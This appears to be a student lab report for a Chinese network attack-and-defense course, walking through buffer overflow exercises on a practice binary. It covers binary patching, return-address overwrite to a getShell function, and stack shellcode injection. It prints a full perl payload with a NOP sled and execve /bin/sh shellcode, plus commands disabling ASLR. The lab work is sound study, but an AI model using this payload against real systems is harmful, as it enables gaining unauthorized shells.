20253905 2024-2025-2 《网络攻防实践》实践九报告
1.实践内容
总结一下本周学习内容并介绍下实践内容,不要复制粘贴
2.实践过程
2.1
- 修改主机为本人姓名拼音,修改文件名
![image]()
![image]()
- 输入命令
objdump -d pwn1_20253905 | less,启动反汇编分析程序,查找三个关键函数:main、foo、getShell,并记录地址
![image]()
- 输入命令
hexedit pwn1_20253905,用十六进制编辑器打开程序
![image]()
- 定位到要修改的那条call foo指令的位置,输入c3,覆盖原来的d7,并保存退出
![image]()
![image]()
![image]()
- 运行
./pwn1_20253905,弹出Shell提示符$,这说明main已经成功跳转到getShell执行了
![image]()
2.2
- 执行命令关闭Linux系统的地址空间随机化(ASLR),消除栈地址随机变化对栈溢出实验的干扰
![image]()
![image]()
- 使用objdump命令反汇编目标程序,提取出main、foo、getShell函数的内存地址,为后续漏洞利用定位关键入口点。
![image]()
- 使用objdump命令反汇编并查看foo函数的汇编指令,分析其栈帧结构,计算出缓冲区到函数返回地址的偏移量
![image]()
- 使用Python生成缓冲区溢出攻击Payload文件,并通过管道将其输入目标程序,成功劫持程序执行流至getShell函数,获取交互式Shell并执行ls命令验证攻击成功
![image]()
2.3
- 输入命令
echo 0 > /proc/sys/kernel/randomize_va_space关闭 ASLR 地址随机化
![image]()
- 开启栈可执行权限并验证
![image]()
- 用gdb加载目标程序
gdb ./20253905zwc_3
![image]()
- 反汇编foo函数,确认漏洞和ret指令地址
![image]()
- 在ret指令处下断点
![image]()
- 运行程序并传入 payload,程序停在ret断点后,查看栈顶地址。输出是0xffffd2ac,则Shellcode的目标地址为esp + 4 = 0xffffd2b0
![image]()
- 使用perl生成带 300 字节NOP滑板的payload
perl -e 'print "A" x 32; print "\xB0\xD2\xFF\xFF"; print "\x90" x 300; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_20253905zwc - 重新打开GDB,设置断点并run
![image]()
- 在GDB中继续执行程序
![image]()
- 观察到关键提示:process xxxxx is executing new program: /usr/bin/dash,说明Shellcode执行成功,原程序已被替换为 Shell;在GDB中执行系统命令验证Shell功能
shell ls
![image]()
3.学习中遇到的问题及解决
- 问题1:ASLR 未关闭、栈无执行权限,shellcode 无法运行且地址随机。
- 问题1解决方案:关闭系统地址随机化,用execstack开启程序栈可执行权限。
- 问题2:管道命令导致终端交互异常,拿到 shell 却无法正常操作。
- 问题2解决方案:在 GDB 内直接运行 payload,通过shell命令验证攻击成功。
![image]()
![image]()
![image]()
![image]()
![image]()
![image]()


4.实践总结
xxx xxx



























